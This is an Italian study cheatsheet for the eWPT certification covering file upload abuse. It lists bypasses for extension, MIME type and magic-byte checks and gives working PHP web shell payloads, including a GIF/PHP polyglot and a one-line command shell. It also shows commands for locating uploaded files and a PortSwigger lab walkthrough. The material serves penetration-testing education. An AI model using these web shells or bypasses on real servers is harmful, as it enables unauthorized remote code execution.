← Tutti i cheatsheet

eWPT · Exploitation & Post-Ex

File Upload Abuse

Difficoltà: Advanced Time to Master: 2.5h Prerequisiti: 03-File-Inclusion/04-Wrappers-PHP.md Lab: PortSwigger Academy (File upload vulnerabilities)


Obiettivo

Entri nella sezione dove smetti di “leggere” il server (come con LFI o SQLi) e inizi a scriverci sopra. Ogni upload di file è, in fondo, l’applicazione che ti chiede fiducia: le carichiamo un file, promettiamo che è un’immagine, e sta a lei verificarlo davvero. Il lavoro qui è capire QUALE livello di controllo l’applicazione ha effettivamente implementato (estensione? MIME type? contenuto?) e quale, tra quelli, ha lasciato una debolezza — è uno dei percorsi più diretti verso RCE che incontrerai in eWPT.


Concetti chiave

Livelli di controllo tipici (e relativa debolezza)

Controllo Debolezza tipica
Blacklist estensione (.php bloccato) estensioni alternative eseguibili (.phtml, .php5)
Whitelist estensione double extension (shell.php.jpg), null byte legacy
Controllo MIME type (header Content-Type) header modificabile a piacere lato client
Controllo magic bytes contenuto polyglot file (immagine valida + codice PHP valido)
Rinominazione file random path prevedibile o directory listing abilitato

Strumenti

Tool Comando base Output Note
Burp Repeater modifica richiesta upload risposta conferma/rifiuto principale
exiftool inietta payload in metadata immagine file “immagine” con codice nascosto per polyglot avanzati

Payload / Esempi

Esempio 1: bypass blacklist con estensione alternativa

# invece di shell.php (bloccato), prova:
shell.phtml
shell.php5
shell.pht
shell.phar

Spiegazione: molte configurazioni Apache/PHP eseguono come PHP anche estensioni meno comuni se non esplicitamente escluse dalla blacklist: verifica quali sono effettivamente eseguite sul target specifico.

Esempio 2: bypass whitelist con double extension

shell.php.jpg
shell.jpg.php

Spiegazione: funziona se il server controlla solo l’ULTIMA estensione per la whitelist ma il motore web esegue in base a QUALSIASI estensione riconosciuta nel nome file (comportamento Apache legacy con AddHandler).

Esempio 3: bypass controllo MIME type (header modificabile)

Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

Spiegazione: il Content-Type nella richiesta multipart è completamente controllato dal client: cambialo in Burp a image/jpeg mantenendo il file .php, se il server si fida solo di questo header.

Esempio 4: bypass controllo magic bytes con polyglot GIF/PHP

echo -n 'GIF89a;' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php

Spiegazione: i primi byte (GIF89a;) soddisfano il controllo “magic number” che verifica sia davvero un’immagine GIF, ma il file resta eseguibile come PHP se caricato con estensione .php ed eseguito dal server.

Esempio 5: bypass filtro estensione via null byte / case (legacy)

filename="shell.php%00.jpg"
filename="shell.PHP"
filename="shell.pHp"

Spiegazione: il null byte tronca la stringa nel parsing lato server (funziona solo su PHP < 5.3.4, dove le funzioni C sottostanti si fermano al primo \0); la variazione di case bypassa blacklist case-sensitive che confrontano solo .php in minuscolo.

Esempio 6: upload tramite ZIP polyglot (combinato con LFI wrapper)

echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.jpg shell.php

Poi includi via zip:// come visto in 03-File-Inclusion/04-Wrappers-PHP.md, utile quando l’upload accetta solo immagini ma esiste una LFI separata da combinare.


Evasion / Bypass Techniques

Trovare il path dell’upload quando rinominato random

gobuster dir -u http://target.com/uploads/ -w wordlist.txt -x php,phtml,jpg

Se directory listing è abilitato:

curl http://target.com/uploads/

Bypass controllo dimensione con file minimale funzionante

<?=`$_GET[0]`?>

Spiegazione: shorthand PHP estremamente compatto, utile quando c’è un limite di dimensione file molto stretto; richiede short_open_tag=On sul server target.


Lab Hands-On

Lab 1 (PortSwigger): Web shell upload via Content-Type restriction bypass

Obiettivo: caricare ed eseguire una webshell PHP Difficulty: Difficile Time: 1h

Walkthrough breve:

  1. Prova upload diretto (probabilmente bloccato)
  2. Identifica il tipo esatto di controllo (estensione? MIME? magic bytes?)
  3. Applica il bypass corrispondente dalla lista sopra
  4. Trova il path del file caricato ed eseguilo

Common Mistakes

  • Fermarsi al primo controllo bypassato senza verificare che il file sia REALMENTE eseguibile (a volte l’upload riesce ma il server non esegue quell’estensione) -> testa sempre l’esecuzione, non solo l’upload
  • Non cercare il path reale del file caricato -> spesso rinominato, serve enumerazione della directory upload


Connessioni


Checklist di padronanza

  • Conosco almeno 5 tecniche di bypass upload diverse
  • So costruire un file polyglot immagine/PHP
  • So trovare il path del file caricato dopo l’upload
  • Verifico sempre l’esecuzione reale, non solo l’upload riuscito